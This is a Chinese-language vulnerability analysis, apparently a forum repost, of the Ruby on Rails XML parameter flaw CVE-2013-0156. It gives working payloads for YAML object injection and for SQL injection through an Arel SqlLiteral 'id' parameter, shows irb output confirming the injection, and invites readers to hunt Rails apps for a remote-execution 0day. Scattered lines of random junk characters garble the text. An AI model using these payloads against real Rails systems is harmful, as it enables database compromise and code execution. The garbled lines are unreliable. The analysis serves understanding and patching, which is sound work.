Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

admin

Author: wofeiwo#80sec.com
2 o5 J0 v) e  t" V
6 b# L- z) B) N- X- @注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。
& p2 J& v1 F  \% c5 z
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.

CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
2 j( R; J: j$ H& |* Z5 i9 i
# z  E9 T( [2 v* N# \为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:

<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
% ?% H& |% O, {2 u
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
, {7 l+ W$ S( q# m! c5 ~, i( Y
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?

然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。

( l# ^. D; U! B4 d但是等等，还有另一个参数类型，yaml。
! ?* h6 L3 ^& S/ ~8 ?% B
3 p: D: D4 h  g! G+ o. ^9 oyaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。
! X* O% ]4 {# ^5 x( O  v6 l
6 N" c4 \% H( S0 ~# b( M! v+ h<test type="yaml">--- !ruby/object:A
9 D4 M) w& L8 V0 n2 `- f& xaaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。

如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。

& u! W8 ?- h$ Q0 u; w; |如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。

. m* J( v! S2 @- B4 }# W! |一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）

% D7 h$ y" g/ O9 umodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
% t  m# @2 S3 |0 `4 N
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。
3 |% H6 y6 j/ J: Q1 u! k3 ?9 b
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
  G  S6 M  |7 U  F! x8 q
) F+ L( q" C% X# N: {! w; W! ~